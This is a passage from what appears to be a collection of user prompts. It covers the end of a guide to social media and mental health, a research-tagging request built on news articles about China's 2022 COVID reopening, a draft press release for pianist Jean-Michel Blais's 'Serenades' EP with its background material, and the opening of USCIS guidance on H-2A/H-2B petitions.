stress, depression, or boredom. If you spend more time on social media when you’re feeling down, lonely, or bored, you may be using it as a way to distract yourself from unpleasant feelings or self-soothe your moods. While it can be difficult at first, allowing yourself to feel can open you up to finding healthier ways to manage your moods.\n\nThe vicious cycle of unhealthy social media use\n\nExcessive social media use can create a negative, self-perpetuating cycle:\n\nWhen you feel lonely, depressed, anxious, or stressed, you use social media more often—as a way to relieve boredom or feel connected to others.\nUsing social media more often, though, increases FOMO and feelings of inadequacy, dissatisfaction, and isolation.\nIn turn, these feelings negatively affect your mood and worsen symptoms of depression, anxiety, and stress.\nThese worsening symptoms cause you to use social media even more, and so the downward spiral continues.\nSigns that social media is impacting your mental health\nEveryone is different and there is no specific amount of time spent on social media, or the frequency you check for updates, or the number of posts you make that indicates your use is becoming unhealthy. Rather, it has to do with the impact time spent on social media has on your mood and other aspects of your life, along with your motivations for using it.\n\nFor example, your social media use may be problematic if it causes you to neglect face-to-face relationships, distracts you from work or school, or leaves you feeling envious, angry, or depressed. Similarly, if you’re motivated to use social media just because you’re bored or lonely, or want to post something to make others jealous or upset, it may be time to reassess your social media habits.\n\nIndicators that social media may be adversely affecting your mental health include:\n\nSpending more time on social media than with real world friends. Using social media has become a substitute for a lot of your offline social interaction. Even if you’re out with friends, you still feel the need to constantly check social media, often driven by feelings that others may be having more fun than you.\n\nComparing yourself unfavorably with others on social media. You have low self-esteem or negative body image. You may even have patterns of disordered eating.\n\nExperiencing cyberbullying. Or you worry that you have no control over the things people post about you.\n\nBeing distracted at school or work. You feel pressure to post regular content about yourself, get comments or likes on your posts, or respond quickly and enthusiastically to friends’ posts.\n\nHaving no time for self-reflection. Every spare moment is filled by engaging with social media, leaving you little or no time for reflecting on who you are, what you think, or why you act the way that you do—the things that allow you to grow as a person.\n\nEngaging in risky behavior in order to gain likes, shares, or positive reactions on social media. You play dangerous pranks, post embarrassing material, cyberbully others, or access your phone while driving or in other unsafe situations. \n\n[Read: Dealing with Revenge Porn and “Sextortion”]\n\nSuffering from sleep problems. Do you check social media last thing at night, first thing in the morning, or even when you wake up in the night? The light from phones and other devices can disrupt your sleep, which in turn can have a serious impact on your mental health.\n\nWorsening symptoms of anxiety or depression. Rather than helping to alleviate negative feelings and boost your mood, you feel more anxious, depressed, or lonely after using social media.\n\nModifying social media use to improve mental health step 1: Reduce time online\nA 2018 University of Pennsylvania study found that reducing social media use to 30 minutes a day resulted in a significant reduction in levels of anxiety, depression, loneliness, sleep problems, and FOMO. But you don’t need to cut back on your social media use that drastically to improve your mental health. The same study concluded that just being more mindful of your social media use can have beneficial results on your mood and focus. \n\nWhile 30 minutes a day may not be a realistic target for many of us, we can still benefit from reducing the amount of time we spend on social media. For most of us, that means reducing how much we use our smartphones. The following tips can help:\n\nUse an app to track how much time you spend on social media each day. Then set a goal for how much you want to reduce it by.\nTurn off your phone at certain times of the day, such as when you’re driving, in a meeting, at the gym, having dinner, spending time with offline friends, or playing with your kids. Don’t take your phone with you to the bathroom.\nDon’t bring your phone or tablet to bed. Turn devices off and leave them in another room overnight to charge.\nDisable social media notifications. It’s hard to resist the constant buzzing, beeping, and dinging of your phone alerting you to new messages. Turning off notifications can help you regain control of your time and focus.\nLimit checks. If you compulsively check your phone every few minutes, wean yourself off by limiting your checks to once every 15 minutes. Then once every 30 minutes, then once an hour. There are apps that can automatically limit when you’re able to access your phone.\nTry removing social media apps from your phone so you can only check Facebook, Twitter and the like from your tablet or computer. If this sounds like too drastic a step, try removing one social media app at a time to see how much you really miss it.\nFor more tips on reducing your overall phone use, read Smartphone Addiction.\n\nStep 2: Change your focus\nMany of us access social media purely out of habit or to mindlessly kill moments of downtime. But by focusing on your motivation for logging on, you can not only reduce the time you spend on social media, you can also improve your experience and avoid many of the negative aspects.\n\nIf you’re accessing social media to find specific information, check on a friend who’s been ill, or share new photos of your kids with family, for example, your experience is likely to be very different than if you’re logging on simply because you’re bored, you want to see how many likes you got from a previous post, or to check if you’re missing out on something.\n\nNext time you go to access social media, pause for a moment and clarify your motivation for doing so.\n\nAre you using social media as a substitute for real life? Is there a healthier substitute for your social media use? If you’re lonely, for example, invite a friend out for coffee instead. Feeling depressed? Take a walk or go to the gym. Bored? Take up a new hobby. Social media may be quick and convenient, but there are often healthier, more effective ways to satisfy a craving.\n\nAre you an active or a passive user on social media? Passively scrolling through posts or anonymously following the interaction of others on social media doesn’t provide any meaningful sense of connection. It may even increase feelings of isolation. Being an active participant, though, will offer you more engagement with others.\n\nDoes social media leave you feeling inadequate or disappointed about your life? You can counter symptoms of FOMO by focusing on what you have, rather than what you lack. Make a list of all the positive aspects of your life and read it back when you feel you’re missing out on something better. And remember: no one’s life is ever as perfect as it seems on social media. We all deal with heartache, self-doubt, and disappointment, even if we choose not to share it online. \n\nStep 3: Spend more time with offline friends\nWe all need the face-to-face company of others to be happy and healthy. At its best, social media is a great tool for facilitating real-life connections. But if you’ve allowed virtual connections to replace real-life friendships in your life, there are plenty of ways to build meaningful connections without relying on social media.\n\nSet aside time each week to interact offline with friends and family. Try to make it a regular get-together where you always keep your phones off.\n\nIf you’ve neglected face-to-face friendships, reach out to an old friend (or an online friend) and arrange to meet up. If you both lead busy lives, offer to run errands or exercise together.\n\nJoin a club. Find a hobby, creative endeavor, or fitness activity you enjoy and join a group of like-minded individuals that meet on a regular basis.\n\nDon’t let social awkwardness stand in the way. Even if you’re shy, there are proven techniques to overcome insecurity and build friendships.\n\nIf you don’t feel that you have anyone to spend time with, reach out to acquaintances. Lots of other people feel just as uncomfortable about making new friends as you do—so be the one to break the ice. Invite a coworker out for lunch or ask a neighbor or classmate to join you for coffee.\n\nInteract with strangers. Look up from your screen and connect with people you cross paths with on public transport, at the coffee shop, or in the grocery store. Simply smiling or saying hello will improve how you feel—and you never know where it may lead.\n\nStep 4: Express gratitude\nFeeling and expressing gratitude about the important things in your life can be a welcome relief to the resentment, animosity, and discontent sometimes generated by social media.\n\nTake time for reflection. Try keeping a gratitude journal or using a gratitude app. Keep track of all the great memories and positives in your life—as well as those things and people you’d miss if they were suddenly absent from your life. If you’re more prone to venting or negative posts, you can even express your gratitude on social media—although you may benefit more from private reflection that isn’t subject to the scrutiny of others. \n\n[Read: Gratitude: The Benefits and How to Practice It]\n\nPractice mindfulness. Experiencing FOMO and comparing yourself unfavorably to others keeps you dwelling on life’s disappointments and frustrations. Instead of being fully engaged in the present, you’re focused on the “what ifs” and the “if onlys” that prevent you from having a life that matches those you see on social media. By practicing mindfulness, you can learn to live more in the present moment, lessen the impact of FOMO, and improve your overall mental wellbeing.\n\nVolunteer. Just as human beings are hard-wired to seek social connection, we’re also hard-wired to give to others. Helping other people or animals not only enriches your community and benefits a cause that’s important to you, but it also makes you feel happier and more grateful.\n\nHelping a child or teen with unhealthy social media use\nChildhood and the teenage years can be filled with developmental challenges and social pressures. For some kids, social media has a way of exacerbating those problems and fueling anxiety, bullying, depression, and issues with self-esteem. If you’re worried about your child’s social media use, it can be tempting to simply confiscate their phone or other device. But that can create further problems, separating your child from their friends and the positive aspects of social media. Instead, there are other ways to help your child use Facebook, Instagram, and other platforms in a more responsible way.\n\nMonitor and limit your child’s social media use. The more you know about how your child is interacting on social media, the better you’ll be able to address any problems. Parental control apps can help limit your child’s data usage or restrict their phone use to certain times of the day. You can also adjust privacy settings on the different platforms to limit their potential exposure to bullies or predators.\n\nTalk to your child about underlying issues. Problems with social media use can often mask deeper issues. Is your child having problems fitting in at school? Are they suffering from shyness or social anxiety? Are problems at home causing them stress?\n\nEnforce “social media” breaks. For example, you could ban social media until your child has completed their homework in the evening, not allow phones at the dinner table or in their bedroom, and plan family activities that preclude the use of phones or other devices. To prevent sleep problems, always insist phones are turned off at least one hour before bed.\n\nTeach your child how social media is not an accurate reflection of people’s lives. They shouldn’t compare themselves or their lives negatively to others on social media. People only post what they want others to see. Images are manipulated or carefully posed and selected. And having fewer friends on social media doesn’t make your child less popular or less worthy.\n\nEncourage exercise and offline interests. Get your child away from social media by encouraging them to pursue physical activities and hobbies that involve real-world interaction. Exercise is great for relieving anxiety and stress, boosting self-esteem, and improving mood—and is something you can do as a family. The more engaged your child is offline, the less their mood and sense of self-worth will be dependent on how many friends, likes, or shares they have on social media.\n\nEnd of article.' -'Assuming that I am keeping the sentences that I find interesting in a note app, please provide me with tags that I could use in my note-taking app and please provide me with a short description of what I am researching. Also, please let me know the three most relevant topics that I should research next. For each of the three topics please provide me with two experts in this field, and please include their Twitter profiles. Also, for each of the three topics, please provide me with the most reputable sources on the internet.\n\nArticle: "What China can still do to avoid an enormous covid death toll It must treat hospitals as a precious resource and start stockpiling drugs People wearing face masks walk in a subway station, as coronavirus disease (COVID-19) outbreaks continue in Shanghai, China, December 8, 2022. Testing stations are being removed from city streets. The enforcers of “zero-covid” are nowhere to be found. In China’s battle against covid-19, the state has disappeared from the front lines. For nearly three years President Xi Jinping tried to contain the virus, calling his efforts a “people’s war”. Now he has surrendered and the people must live with the enemy. Listen to this story. Enjoy more audio and podcasts on iOS or Android. Mr Xi is not the first leader to conclude that such a fight was unwinnable. But before ditching their zero-covid policies, other countries first took pains to administer vaccines, stockpile antiviral drugs and draw up treatment guidelines. China had ample time to do all of that. Yet more than two years after the first vaccine proved effective, the country remains ill-prepared. That has made opening up much more dangerous than it ought to be. How dangerous? In this week’s China section we publish our model of how the epidemic might play out. It comes with essential caveats. Modelling an epidemic is difficult. Modelling one in China, where the data are often unreliable, is even harder. We take into account variables such as vaccination rates, the effectiveness of Chinese jabs, the lethality of covid for different age groups and the number of intensive-care beds. In a worst case, if covid spreads freely and many people cannot get care, we estimate that in the coming months 1.5m Chinese people will die from the virus. Although that is a lower share of the population than in many rich countries, it is still a criticism of the government’s poor preparations. It is also a call to action. A vaccination drive will take months. The government has waited too long to build and staff new icus. But even if the state will not impose lockdowns while it prepares, it can mitigate the number of deaths. It should start by protecting the health system. A wave of covid is breaking over China. Our model sees this peaking in January. By that time hospitals risk being overwhelmed. Beds and staff are a precious resource to be husbanded. That means keeping people who are not seriously ill away from hospitals. To that end, the state could help drug companies restock pharmacies that run out of such things as lateral-flow tests and paracetamol. Medical staff should be vaccinated first and they must be given the proper gear to minimise the risk of infection. A second step is to ensure cheap and plentiful supplies of covid drugs. Dexamethasone, a low-priced steroid, has been shown to reduce deaths among the most severely ill patients. Antivirals, such as Paxlovid, help keep those most at risk out of hospital. These drugs have become part of the toolkit doctors around the world are using to fight the virus. They could save many thousands of lives in China. Only the government knows if it has enough of them to go around. If not, it should start stocking up. Foreign governments would surely send supplies if China asked. President Xi Jinping should not let his pride imperil China’s people, as he has done by shunning more efficacious Western vaccines. China’s vaccines still work. So the third priority is to get them into people’s arms. It may be too late for many in this wave, but there will be others. Less than half of those over 80 years old have had three shots, the number needed for decent protection against severe disease and death. Yet some of the elderly have gone to the clinic for a jab only to be turned away for lack of supplies. Until recently, some vaccine factories were sitting idle. Vast quantities will be needed. Six-monthly booster shots ought to become a normal part of life for older Chinese. As the state has failed to do its job, people are helping themselves. Masks are ubiquitous in many cities and more people are working from home. Restaurants and cinemas may be open, but in cities such as Beijing they remain largely empty. All this will help slow the growth of this covid wave and ease the pressure on hospitals. But the government must also act. In a country the size of China, even small steps could save many lives." From the article above, I find the following sentences most interesting: 1. "President Xi Jinping tried to contain the virus, calling his efforts a “people’s war”" 2. "A wave of covid is breaking over China. Our model sees this peaking in January." 3. "we estimate that in the coming months 1.5m Chinese people will die from the virus" 4. "To that end, the state could help drug companies restock pharmacies that run out of such things as lateral-flow tests and paracetamol" 5. "A second step is to ensure cheap and plentiful supplies of covid drugs. Dexamethasone, a low-priced steroid, has been shown to reduce deaths among the most severely ill patients." 6. "China’s vaccines still work. So the third priority is to get them into people’s arms." Article: "How Chinese people are dealing with the spread of covid-19 The government has left the public to fend for itself A elderly man wearing a face mask and goggle walks on a street in Beijing, Sunday, Dec. 11, 2022. Facing a surge in COVID-19 cases, China is setting up more intensive care facilities and trying to strengthen hospitals as Beijing rolls back anti-virus controls that confined millions of people to their homes, crushed economic growth and set off protests. Just a few months ago Chinese people had little fear of catching covid-19. The government’s “zero-covid” measures kept them safe for the most part. Mass testing and strict lockdowns contained the virus. If a person did test positive, the government would swoop in. The infected were taken to state-run quarantine centres. If symptomatic, they were treated in a designated hospital. Health workers would douse their house with disinfectant and test their neighbours. All this changed on December 7th, when the central government largely ditched its zero-covid policy, lifting most restrictions. Six days later it scrapped an app that tracked people’s movements. The highly transmissible Omicron variant had made zero-covid unsustainable. Now the public is expected to fend for itself. “Be the first person responsible for your own health,” wrote the People’s Daily, a Communist Party mouthpiece. Some residents of Beijing have received letters from the local committees that used to enforce covid controls. Stop reporting fevers and coughs to us, one read, before wishing people good luck. “Thank you for the past three years of support and understanding.” The official number of new cases is falling, as if the virus were fading away. But official numbers are no longer reliable because the government has scaled back testing. If it has an alternative way of keeping tabs on the epidemic, it is not sharing it. Still, it is pretty clear that a covid wave is building, as people share stories of infection online. An informal survey has been circulating on social media asking Beijing residents if they have caught the virus. As The Economist went to press, 39% of the 434,000 or so respondents had said yes. Such surveys are striking, not just for the numbers. A few months ago people who had caught covid were stigmatised. They might, for example, struggle to find jobs after recovering. Now the disease is so common that people are posting their test results on social media, often substituting for the word “positive” a cartoon of a sheep (which is a Chinese homophone for positive). Others are sharing lighthearted advice about the best time to catch covid. An infection now or in early January, for example, might clear up in time for a person to enjoy both Christmas and the lunar new year. “Why aren’t I positive yet?” complained one young woman in a video. Others, though, are worried. Until recently the government told people that covid was to be feared. Now the official line is that Omicron is no worse than the flu. Infected people who are not showing serious symptoms have been encouraged to stay at home and treat themselves. Not everyone is listening. Beijing’s emergency-call operators have been swamped by over 30,000 calls a day, about six times the average. Queues have appeared outside fever clinics in several cities. Certain medicines are in short supply. On December 13th a health-care website began selling Paxlovid, a highly effective antiviral drug used to treat covid. Its initial stocks sold out in half an hour. Hospitals are under more stress as doctors and nurses catch the virus. There are reports that some medical workers who have tested positive have been asked to come in anyway, risking more transmission within hospitals. As of December 13th Beijing had 50 severely ill patients, according to the official numbers. So far, the health system does not appear to be overwhelmed. But the peak of this wave is still some way off. It will probably come in late January, at least in Beijing, says Ben Cowling, a professor of epidemiology at the University of Hong Kong. With the government changing its message, people are looking elsewhere for guidance. Overseas Chinese students who have experience with covid are sharing advice on WeChat, a social-media app. They tell people what symptoms to expect and how long they might last. In general, though, good information on the virus is lacking. There are reports of people going to hospital after taking too much fever medicine. Herbal remedies used to combat covid are in hot demand, though doctors doubt their effectiveness. Vaccines, not voodoo At least people now see the need to protect themselves against the virus, which was once viewed as a terrifying but distant threat. More are getting vaccinated. The number of jabs administered each day has increased from fewer than 200,000 to over 1m. But there is a lot of ground to make up, especially when it comes to the most vulnerable. Only around 40% of people over 80 have received the three doses needed to significantly reduce the chances of severe disease or death. Yet some elderly people have had trouble getting a shot because of a lack of supply at clinics. People are also taking steps that will help mitigate the spread of the disease and perhaps reduce the pressure on hospitals. In Beijing the shopping centres and streets are largely empty, as people stay inside. Call it a self-imposed lockdown. People who do venture out wear n95 masks (which are good at filtering small airborne particles). Demand for home deliveries of meals and groceries has shot up. But people are still making plans to travel back to their villages and home towns for the lunar new year in late January. Data from Ctrip, a booking platform, show that the volume of searches for flights has increased by 160% since the government loosened restrictions. Searches for train tickets on Baidu, a search engine, increased by nearly 600% during that time. Many rural areas are woefully unprepared to handle a surge in cases. When the peak of this wave approaches, “it would make a lot of sense to bring back some public-health measures,” says Mr Cowling. But reversing course may be hard for the government to justify without admitting that it had made a mistake." From the article above, I find the following sentences most interesting: 1. "lifting most restrictions. Six days later it scrapped an app that tracked people’s movements" 2. "Now the public is expected to fend for itself. “Be the first person responsible for your own health,” wrote the People’s Daily" 3. "But official numbers are no longer reliable because the government has scaled back testing" 4. "A few months ago people who had caught covid were stigmatised. They might, for example, struggle to find jobs after recovering." 5. "Beijing’s emergency-call operators have been swamped by over 30,000" Article: "China pushes vaccines as retreat from \'zero-COVID\' turns messy. Beijing urges inoculations for elderly WHO calls for vaccine drive as virus spreads Economic summit starts amid more dire data BEIJING/SHANGHAI, Dec 15 (Reuters) - China raced to vaccinate its most vulnerable people on Thursday in anticipation of waves of COVID-19 infections, with some analysts expecting the death toll to soar after it eased strict controls that had kept the pandemic at bay for three years. The push comes as the World Health Organisation also raised concerns that China\'s 1.4 billion population was not adequately vaccinated and the United States offered help in dealing with a surge in infections. Beijing last Wednesday began dismantling its tough \'zero-COVID\' controls, dropping testing requirements and easing quarantine rules that had caused anxiety for tens of millions and battered the world\'s second largest economy. The pivot away from President Xi Jinping\'s signature "zero-COVID" policy followed unprecedented widespread protests against it. But, WHO emergencies director Mike Ryan said infections were exploding in China well before the government\'s decision to phase out its stringent regime. "There\'s a narrative at the moment that China lifted the restrictions and all of a sudden the disease is out of control," Ryan told a briefing in Geneva. "The disease was spreading intensively because I believe the control measures in themselves were not stopping the disease." Chinese foreign ministry spokesperson Wang Wenbin said on Thursday China has "institutional advantages" to fight COVID. "We will certainly be able to smoothly get through the peak of the epidemic," he told a regular news briefing in response to White House national security spokesperson John Kirby saying that the United States was ready to help if China requested it. There are increasing signs of chaos during China\'s change of tack - including long queues outside fever clinics, runs on medicines and panic buying across the country. On Thursday night, China\'s state asset regulator urged state-backed big drugmakers to ensure supplies of COVID-related medicines. The companies include China Resources, China General Technology and Sinopharm, which own businesses that produce drugs that could ease coronavirus symptoms. One video posted online on Wednesday showed several people in thick winter clothes hooked up to intravenous drips as they sat on stools on the street outside a clinic in central Hubei province. Reuters verified the location of the video. The COVID scare in China also led people in Hong Kong, Macau and in some neighbourhoods in Australia to go in search for fever medicines and test kits for family and friends on the mainland. For all its efforts to quell the virus since it erupted in the central city of Wuhan in late 2019, China may now pay a price for shielding a population that lacks "herd immunity" and has low vaccination rates among the elderly, analysts said. "Authorities have let cases in Beijing and other cities spread to the point where resuming restrictions, testing and tracing would be largely ineffective in bringing outbreaks under control," analysts at Eurasia Group said in a note on Thursday. "Upward of 1 million people could die from COVID in the coming months." Other experts have put the potential toll at more than 2 million. China has reported just 5,235 COVID-related deaths so far, extremely low by global standards. China\'s stock markets and its currency fell on Thursday on concerns of the virus spread. China reported 2,000 new symptomatic COVID-19 infections for Dec. 14 compared with 2,291 a day. The official figures, however, have become less reliable as testing has dropped. It also stopped reporting asymptomatic figures on Wednesday. CONCERN FOR ELDERLY China, which has said around 90% of its population is vaccinated against COVID, has now decided to roll out the second booster shot for high-risk groups and elderly people over 60 years of age. National Health Commission spokesperson Mi Feng said on Wednesday it was necessary to accelerate the promotion of vaccinations, according to comments reported by state media. The latest official data shows China administered 1.43 million COVID shots on Tuesday, well above rates in November of around 100,000-200,000 doses a day. In total, it has administered 3.45 billion shots. Vaccinations in China have been ramping up in recent days. The latest official data shows it administered 1.43 million shots on Tuesday, well above rates in November of around 100,000 - 200,000 doses a day. Vaccinations in China have been ramping up in recent days. The latest official data shows it administered 1.43 million shots on Tuesday, well above rates in November of around 100,000 - 200,000 doses a day. But one Shanghai care home said on Wednesday a number of its residents have not yet been vaccinated and considering their underlying medical condition, it has barred visitors and non-essential deliveries while stockpiling medicines, tests kits and protective gear. "We are racking our brains on how to ensure the safety of your grandparents," the Yuepu Tianyi Nursing Home wrote in a letter posted on its official WeChat account page. Beijing has been largely resistant to western vaccines and treatments, having relied on locally-made shots. Pfizer\'s (PFE.N) oral COVID-19 treatment Paxlovid is one of the few foreign ones it has approved. The treatment, however, has only been available in hospitals for high-risk patients, but signs have appeared in recent days that it may soon be made more widely available. China Meheco Group Co Ltd\'s stock jumped (600056.SS) after it announced a deal to import the U.S. drugmaker\'s treatment on Wednesday. ECONOMIC CONFERENCE As the virus spreads, President Xi, his ruling Politburo and senior government officials began a two-day meeting to plot a recovery for China\'s battered economy, according to sources with knowledge of the matter. China\'s economy lost more steam in November as factory output growth slowed and retail sales extended declines, both missing forecasts and clocking their worst readings since May, data on Thursday showed. Economists estimate that China\'s growth has slowed to around 3% this year, marking one of China\'s worst performances in almost half a century." From the article above, I find the following sentences most interesting: 1. "Upward of 1 million people could die from COVID in the coming months." 2. "Other experts have put the potential toll at more than 2 million." 3. "China administered 1.43 million COVID shots on Tuesday, well above rates in November of around 100,000-200,000 doses a day. In total, it has administered 3.45 billion shots."' -'Pleae read the below and say "ok"\n\nHi I have a draft press for Jean-Michel Blais\' new album here: \n\n\\*\\*UNDER EMBARGO UNTIL XX\\*\\*\nMERCURY KX ANNOUNCES JEAN-MICHEL BLAIS\' NEW EP "SERENADES"\nMontreal-based post-classical pianist and composer Jean-Michel Blais is pleased to announce his new EP “Serenades”, out March 10th on Mercury KX. The EP is the solo piano companion to Blais’ highly successful and loved album “Aubades”, released this past February.\n“Serenades” is the nocturnal companion to the brightness of “Aubades”, and features intimate and atmospheric solo piano versions of key tracks from the album, including “Amour”, “Ouessant”, and “Murmures”. It also features three new tracks: “117 (Bach)”, “La Chute”, and “Morning (Improv)”. “La Chute” (“The Fall”) was especially composed for the left hand, due to a right arm injury Blais suffered after falling on ice before a performance. This inspired him to write this piece particularly for the left hand. The first single “Ouessant” (Piano) is a melancholic slow wander through luminous and soothing solo piano soundscapes.\n“Serenades” is a testament to Blais’ musical prowess and ability to create captivating and moving musical landscapes. It’s sure to be a stunning addition to Blais’ already impressive discography.\n\n---\n\nI have written it based on the following information:\n\nJEAN-MICHEL BLAIS DECCA BIO:\nJean-Michel Blais - Biography\n \nJean-Michel Blais is a post-classical pianist and composer living in Montreal, Canada.\n \nBlais grew up in a rural French Catholic town in Quebec and began tinkering on his family\'s organ at age 9. By 11, he began writing original compositions and taking piano lessons. A natural talent, by 17 he was invited to the Trois-Rivieres Music Conservatory and began training as a classical pianist. The constraints of formal training began to wear on Blais who started to gravitate towards experimentation and improvisation. He eventually left the school and put aside his musical path.\n \nIn his mid-20s, Blais traveled to Europe and Latin America, studied special education, liberal arts and psychology, while moving to Berlin for about a year and six months in Buenos Aires, before settling in Montreal where he rediscovered his love for composing and performing, which caught the ear of Toronto-based indie label Arts & Crafts.\n \nBlais’ debut album, Il, was written and recorded in his apartment over two years of daily improvisations. It was released on April 8, 2016, and amassed over 50 million streams worldwide, reaching #1 on Billboard’s Classical chart in Canada 14 times, earning a Polaris Music Prize long list nomination and a spot on Time Magazine’s Top ten albums of 2016.\n \nThe following year, Blais performed at the prestigious Red Bull Music Academy in collaboration with Grammy-nominated producer CFCF. This spurred a partnership between the two musicians that yielded Cascades, a collaborative EP released on March 15, 2017. The release earned praises for its brave interplay between piano and electronics, including by the likes of Pitchfork and BBC Radio 6.\n \nAfter a year of touring North America and Europe, Blais began working on his sophomore album, Dans ma main. Released on May 11, 2018. Jean-Michel Blais’ Dans ma main is an expansive album of post-classical piano music with strands of electronic detail. Recorded at night in a Steinway & Sons piano shop, Blais blends his classical skill and precise pop sensibility with synthetic accompaniment, which creates unique environments where the piano’s intimacy can be subtly disrupted at any time. Dans ma main earned a Polaris Music Prize short list nomination.\n \nFascinated with the cathartic response of worldwide audiences to his pin-drop performances, Blais considers how music has served as a tool of wellness in his own life: from his early career in special education, to his parents’ use of ambient music to soothe the Tourettic symptoms he’s been suffering from since childhood. On Dans ma main, Jean-Michel calls upon these periods of his life, reimagining a serenity that he previously found only seated at a piano.\n \nIn the spring of 2018, when asked by his landlord to leave his beloved apartment where he recorded his debut album Il, Blais invited friends and family in his bedroom to take part into an intimate series of home concert and recording sessions, which gave birth to his sophomore EP, Eviction sessions, released on Novembre 18, 2018.\n---\nTIMELINE FOR “SERENADES”:\n(8 July - amour (piano) - out already)\n18 Nov: ouessant (piano) - Single 2 (no EP announcement)\n20-29 Jan: Concerts in Toronto, NYC & Quebec - should EP be announced by the 20th?\n3 Feb: EP announcement & la chute (Single 3)\n10 Mar: serenades EP release + yanni (piano) - focus track\n---\n \n \nTRACKLIST FOR “SERENADES”:\n117 (bach)\namour (piano)\nla chute\nmorning (improv)\nflâneur (piano)\nyanni (piano)\nouessant (piano)\nmurmures (piano)\n---\n \n---\n \n---\nJEAN-MICHEL BLAIS PREVIOUS ALBUM “aubades”:\naubades, the new album from post-classical piano icon Jean-Michel Blais, marks the Montreal-born musician’s transition from pianist to composer, as he writes for an ensemble for the first time in his career. Written during the pandemic and following a breakup, Blais has used his distinctive musical voice to create a defiantly uplifting record with glistening instrumental textures and warm major tonalities. The album’s title refers to the “aubade”, a Middle Ages morning love song about lovers separating at daybreak, a dawn serenade.\n \nDespite the difficult global and personal backdrop, Blais described the time writing this album as a “fruitful moment of creativity for me. We started having hares in the park, beautiful butterflies flying everywhere. It was a time of lots of blossoming, and also a moment when I blossomed from being a pianist into a composer.” Musical ideas captured in over 500 recorded piano improvisations were transformed by Blais into 11 compositions performed by a 12-person ensemble. During the composition process, Blais collaborated with Alex Weston, former music assistant to Philip Glass. The musicians were recorded with close-up microphones, creating a richly intimate atmosphere that captures the human behind each instrument, from the mechanics of the woodwind keys to the snap of a double bass string.\n---\nBACKGROUND ARTICLE (ON CLASSIC FM SITE) ON THE HISTORY OF PIECES FOR LEFT HAND PIANO\n \nThe best classical music for piano left hand\n12 August 2014, 12:56 | Updated: 6 January 2017, 14:45\n \nFacebook share Twitter share\nIn celebration of International Left Handers Day, we\'re investigating the top ten pieces of piano music composed specifically for the left hand, as chosen by one-handed piano virtuoso, Nicholas McCarthy.\n \n1. Prelude and Nocturne Op. 9 - Scriabin\n \nAfter injuring his right hand learning some of Liszt\'s more challenging music, Scriabin was forced to re-evaluate his priorities and change the way he composed, shifting the emphasis onto his uninjured left hand. Much of the music he went on to write sounds fiendishly difficult, making the most of the capabilities of his only working hand - but he also composed two pieces for left hand only. After much soul-searching, the result is this, one of Scriabin\'s most beautiful and introspective pieces.\n \n \n \n \n \n2. Piano Concerto for the Left Hand - Ravel\n \nEven before this piece was premiered in 1932, pianist Alfred Cortot had made an arrangement for piano two-hands and orchestra. But Ravel, who wrote the music especially for Austrian pianist Paul Wittgenstein after he lost his arm in the war, forbade the performance of the new arrangement. It\'s not a wonder he was frustrated: before writing the work, he studied Saint-Saëns\' left hand études religiously, absorbing as many of his techniques as possible.\n \n \n \n \n3. Chaconne in D minor - Bach/Brahms\n \nADVERTISING\n \nThere\'s nothing like getting stuck in to some truly meaty Bach keyboard music. So, imagine Clara Schumann\'s frustration when she injured her right hand and could no longer play the music she knew and loved. Luckily, Brahms came to the rescue with this ingenious arrangement of his hypnotic Chaconne in D minor. It may only be played with one hand, but Brahms manages to bring out every one of Bach\'s original voices. Genius.\n \n \n \n \n4. Etude Op. 25 No. 12 \'Ocean\' - Chopin arr. Godowsky\n \nThey\'re known as the most difficult piano pieces in the left-hand repertoire, and after listening to these waves upon waves of notes, it\'s easy to see why. Chopin\'s études - challenging enough at the best of times - have been transformed by Polish composer Godowsky into a series of incredible studies and mind-bending technical exercises, including transferring the technically difficult passages between hands, interweaving separate études to form one individual piece, and transcribing this entire étude for left hand solo.\n \n \n \n5. Three Improvisations - Bridge\n \nEerie and beautiful, these \'improvisations\' by English composer Frank Bridge were written for his friend Douglas Fox, who lost his arm during the First World War. With sparing use of the piano pedals, the heavy bass chords ring out as the left hand glides over the piano\'s upper register.\n \n \n \n \n6. Piano Concerto for Left Hand - Korngold\n \nThe man behind Ravel\'s piano concerto for left hand, Paul Wittgenstein, is really the man to thank when it comes to commissioning music for the left hand. He approached Richard Strauss, Prokofiev, and Hindemith - but it\'s Korngold who stole the show. Wittgenstein was so happy with this work that he commissioned another piece, a suite for 2 violins, cello and piano left-hand, Op. 23.\n \n \n \n \n7. Diversions - Britten\n \nLooking at the score, it\'s hard to believe this explosive piece is written for just one hand. With its cascading quavers and impressive passages jumping across the entire length of the piano, this is the ultimate in left hand piano fireworks - and once again, we have Paul Wittgenstein to thank for its existence.\n \n \n \n \n8. Piano Sonata in C Minor - Reinecke\n \nWhile Reinecke may not be the most high-profile of composers, his Opus 179 sonata has made its mark on the world of left hand piano music. There\'s a reason for that: give this a listen for a healthy dose of bombastic, Romantic piano music.\n \n \n \n9. Six études for the left hand - Saint-Saëns\n \nDespite their sheer brilliance, Saint-Saëns\' piano études are often overlooked. Every movement requires absolute independence for each individual finger, regardless of hand shape or strength. It\'s these pieces Ravel studied so diligently when embarking on his left hand piano concerto, and it\'s easy to see why.\n \n \n \n10. 4 Special Studies - Reger\n \nGerman composer Max Reger brings grace and personality to these cheery piano works, making even the most simple techniques sound impressive. Watch how the left hand trips over the piano with ease, bringing out individual parts across the entire range of the piano.\n---\nKEY INFO ON THE NEW ALBUM:\n \nKEY INFO\n \nnew single ouessant (piano) is a melancholic slow wander through luminous and soothing solo piano soundscapes\nannouncing 10 Jan: sérénades is the solo piano companion EP to the highly-successful and loved album aubades (album of vibrant, sweeping works for chamber ensemble released this past February 2022)\nsérénades is the nocturnal companion to the brightness of aubades\ninspired by Franz Liszt’s solo piano reductions\nfeatures intimate & atmospheric solo piano versions of key tracks from aubades - amour, ouessant, murmures\nfeatures three new tracks - 117 (bach), la chute, morning (improv)\nla chute (‘the fall’) - composed for the left hand due to a right arm injury after falling on ice before a performance; this inspired him to write this piece particularly for left hand\ninfluencer duet campaign to follow for la chute - inviting people to provide their right-hand duet with Jean-Michel\n--' -'Additional Information Regarding H-2A and H-2B Petitions\nNaming Beneficiaries\nGenerally, you may request unnamed workers as beneficiaries of an H-2A or H-2B petition. You may also request some\nnamed and some unnamed workers, as long as you are requesting the same action for each worker. However, the total\nnumber of workers you request on the petition must not exceed the number of workers approved by the Department of\nLabor or Guam Department of Labor, if required, on the temporary labor certification.\nWorkers must be named if you request workers who:\n1. Are currently in the United States;\n2. Are nationals of countries that are not on the eligible countries list (see link and information below); or\n3. Must meet minimum job requirements described on the temporary labor certification.\nEligible Countries List\nH-2A and H-2B petitions may generally only be approved for nationals of countries that the Secretary of 